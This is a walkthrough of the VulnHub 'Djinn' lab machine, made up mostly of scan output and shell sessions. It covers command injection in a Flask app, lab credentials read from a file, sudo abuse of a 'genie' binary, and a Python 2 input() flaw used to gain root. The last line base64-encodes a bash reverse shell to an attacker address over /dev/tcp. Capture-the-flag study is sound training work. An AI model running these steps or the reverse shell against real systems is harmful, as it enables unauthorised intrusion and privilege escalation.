Djinn has two paths. One path leads directly to root over port 1337. This requires a python command injection of a base64 encoded reverse shell. The shell returns as root. The other path involves finding a web directory that allows us to execute commands. Command execution filters for certain characters so we are forced to use a base64 encoded payload for our reverse shell. This leads to the www-data low priv shell. We find credentials in a file for the user nitish. Once we switch to nitish we find that we have permissions to a sudo command. The flag required to privesc using this sudo command is in the manual, it is not shown in the output from the -h help flag. Using the sudo command we gain a shell as the user sam. Sam also has a sudo ability that allows us to privesc to root. Decompiling a file in Sam's home directory provides us with the information needed to exploit the sudo command in order to gain a root shell.
# Nmap 7.91 scan initiated Fri Sep 24 15:36:37 2021 as: nmap -p- -oN ping_tcp 10.0.0.20 Nmap scan report for 10.0.0.20 Host is up (0.0012s latency). Not shown: 65531 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp filtered ssh 1337/tcp open waste 7331/tcp open swx MAC Address: 00:0C:29:2C:20:02 (VMware) # Nmap done at Fri Sep 24 15:36:45 2021 -- 1 IP address (1 host up) scanned in 8.00 seconds
# Nmap 7.91 scan initiated Fri Sep 24 15:37:12 2021 as: nmap -p21,1337,7331 -sV -sC -oN script_tcp 10.0.0.20 Nmap scan report for 10.0.0.20 Host is up (0.00019s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt | -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt |_-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.0.0.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 1337/tcp open waste? | fingerprint-strings: | NULL: | ____ _____ _ | ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/ | ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___| | Let's see how good you are with simple maths | Answer my questions 1000 times and I'll give you your gift. | '/', 4) | RPCCheck: | ____ _____ _ | ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/ | ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___| | Let's see how good you are with simple maths | Answer my questions 1000 times and I'll give you your gift. |_ '*', 2) 7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+) |_http-server-header: Werkzeug/0.16.0 Python/2.7.15+ |_http-title: Lost in space 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port1337-TCP:V=7.91%I=7%D=9/24%Time=614E28F5%P=x86_64-pc-linux-gnu%r(NU SF:LL,1BC,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\ SF:x20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20 SF:__\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\ SF:x20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x SF:20`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\ SF:x20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\ SF:|\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\ SF:x20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:n\nLet's\x20see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths SF:\nAnswer\x20my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20 SF:you\x20your\x20gift\.\n\(9,\x20'/',\x204\)\n>\x20")%r(RPCCheck,1BC,"\x2 SF:0\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20_\x SF:20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20___\x SF:20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20_\x SF:20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x2 SF:0\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x20\| SF:\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20 SF:\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|\\_ SF:__\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nLet's\x2 SF:0see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\nAnswer\x2 SF:0my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20you\x20your SF:\x20gift\.\n\(9,\x20'\*',\x202\)\n>\x20"); MAC Address: 00:0C:29:2C:20:02 (VMware) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Sep 24 15:38:47 2021 -- 1 IP address (1 host up) scanned in 95.17 seconds
┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn/WebEnum] └─$ gobuster dir -u http://10.0.0.20:7331/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.20:7331/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/09/24 20:17:29 Starting gobuster in directory enumeration mode =============================================================== /wish (Status: 200) [Size: 385] /genie (Status: 200) [Size: 1676] =============================================================== 2021/09/24 20:18:01 Finished ===============================================================
www-data@djinn:/opt$ cat 80/app.py import subprocess from flask import Flask, redirect, render_template, request, url_for app = Flask(__name__) app.secret_key = "key" CREDS = "/home/nitish/.dev/creds.txt" RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"] def validate(cmd): if CREDS in cmd and "cat" not in cmd: return True try: for i in RCE: for j in cmd: if i == j: return False return True except Exception: return False @app.route("/", methods=["GET"]) def index(): return render_template("main.html") @app.route("/wish", methods=['POST', "GET"]) def wish(): execute = request.form.get("cmd") if execute: if validate(execute): output = subprocess.Popen(execute, shell=True, stdout=subprocess.PIPE).stdout.read() else: output = "Wrong choice of words" return redirect(url_for("genie", name=output)) else: return render_template('wish.html') @app.route('/genie', methods=['GET', 'POST']) def genie(): if 'name' in request.args: page = request.args.get('name') else: page = "It's not that hard" return render_template('genie.html', file=page) if __name__ == "__main__": app.run(host='0.0.0.0', debug=True)
www-data@djinn:/opt$ cat /home/nitish/.dev/creds.txt nitish:p4ssw0rdStr3r0n9
www-data@djinn:/opt$ su nitish Password: nitish@djinn:/opt$
nitish@djinn:~$ sudo -l Matching Defaults entries for nitish on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nitish may run the following commands on djinn: (sam) NOPASSWD: /usr/bin/genie
nitish@djinn:~$ sudo -u sam /usr/bin/genie -h usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish I know you've came to me bearing wishes in mind. So go ahead make your wishes. positional arguments: wish Enter your wish optional arguments: -h, --help show this help message and exit -g, --god pass the wish to god -p SHELL, --shell SHELL Gives you shell -e EXEC, --exec EXEC execute command
man(8) genie man page man(8) NAME genie - Make a wish SYNOPSIS genie [-h] [-g] [-p SHELL] [-e EXEC] wish DESCRIPTION genie would complete all your wishes, even the naughty ones. We all dream of getting those crazy privelege escalations, this will even help you acheive that. OPTIONS wish This is the wish you want to make . -g, --god Sometime we all would like to make a wish to god, this option let you make wish directly to God; Though genie can't gurantee you that your wish will be heard by God, he's a busy man you know; -p, --shell Well who doesn't love those. You can get shell. Ex: -p "/bin/sh" -e, --exec Execute command on someone else computer is just too damn fun, but this comes with some restrictions. -cmd You know sometime all you new is a damn CMD, windows I love you. SEE ALSO mzfr.github.io BUGS There are shit loads of bug in this program, it's all about finding one. AUTHOR mzfr 1.0 11 November 2019 man(8) Manual page genie(8) line 12/47 (END) (press h for help or q to quit)
nitish@djinn:~$ sudo -u sam /usr/bin/genie -cmd anything my man!! $ id uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare) $ python3 -c "import pty;pty.spawn('/bin/bash');" sam@djinn:~$
sam@djinn:~$ sudo -l Matching Defaults entries for sam on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User sam may run the following commands on djinn: (root) NOPASSWD: /root/lago
sam@djinn:~$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:
sam@djinn:/home/sam$ strings .pyc getuser( system( randintc Working on it!! ( /home/mzfr/scripts/exp.pyt naughtyboi Choose a number between 1 to 100: s Enter your number: s /bin/shs Better Luck next time( inputR numt /home/mzfr/scripts/exp.pyt guessit Enter the full of the file to read: s! User %s is not allowed to read %s( usert path( /home/mzfr/scripts/exp.pyt readfiles What do you want to do ?s 1 - Be naughtys 2 - Guess the numbers 3 - Read some damn filess 4 - Works Enter your choice: ( intR choice( /home/mzfr/scripts/exp.pyt options work your ass off!!s" Do something better with your life( /home/mzfr/scripts/exp.pyt main' __main__N( getpassR randomR __name__( /home/mzfr/scripts/exp.pyt
sam@djinn:/home/sam$ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 10.0.0.1 - - [25/Sep/2021 19:40:50] "GET /.pyc HTTP/1.1" 200 -
┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn/exfiltrated] └─$ wget http://10.0.0.20:8000/.pyc 4 ⨯ --2021-09-25 10:10:50-- http://10.0.0.20:8000/.pyc Connecting to 10.0.0.20:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 1749 (1.7K) [application/octet-stream] Saving to: ‘.pyc’ .pyc 100%[=============================================================================>] 1.71K --.-KB/s in 0s 2021-09-25 10:10:50 (501 MB/s) - ‘.pyc’ saved [1749/1749]
┌──(venv)─(kali㉿kali)-[~/Documents/VulnHub/Djinn/exfiltrated] └─$ uncompyle6 .pyc # uncompyle6 version 2.13.3 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.18 (default, Jul 14 2021, 08:11:37) # [GCC 10.2.1 20210110] # Embedded file name: /home/mzfr/scripts/exp.py # Compiled at: 2019-11-07 08:05:18 from getpass import getuser from os import system from random import randint def naughtyboi(): print 'Working on it!! ' def guessit(): num = randint(1, 101) print 'Choose a number between 1 to 100: ' s = input('Enter your number: ') if s == num: system('/bin/sh') else: print 'Better Luck next time' def readfiles(): user = getuser() path = input('Enter the full of the file to read: ') print 'User %s is not allowed to read %s' % (user, path) def options(): print 'What do you want to do ?' print '1 - Be naughty' print '2 - Guess the number' print '3 - Read some damn files' print '4 - Work' choice = int(input('Enter your choice: ')) return choice def main(op): if op == 1: naughtyboi() elif op == 2: guessit() elif op == 3: readfiles() elif op == 4: print 'work your ass off!!' else: print 'Do something better with your life' if __name__ == '__main__': main(options()) # okay decompiling .pyc
sam@djinn:/home/sam$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:2 Choose a number between 1 to 100: Enter your number: num # id uid=0(root) gid=0(root) groups=0(root)
┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn] └─$ nc -nv 10.0.0.20 1337 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Connected to 10.0.0.20:1337. ____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (8, '/', 2) >
┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn] └─$ nc -nv 10.0.0.20 1337 130 ⨯ Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Connected to 10.0.0.20:1337. ____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (8, '+', 9) > 17 (2, '/', 1) > 2/1 (4, '/', 5) > 10 Wrong answer
┌──(kali㉿kali)-[~/Documents/VulnHub/Djinn] └─$ echo -n "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" | base64 130 ⨯ YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEn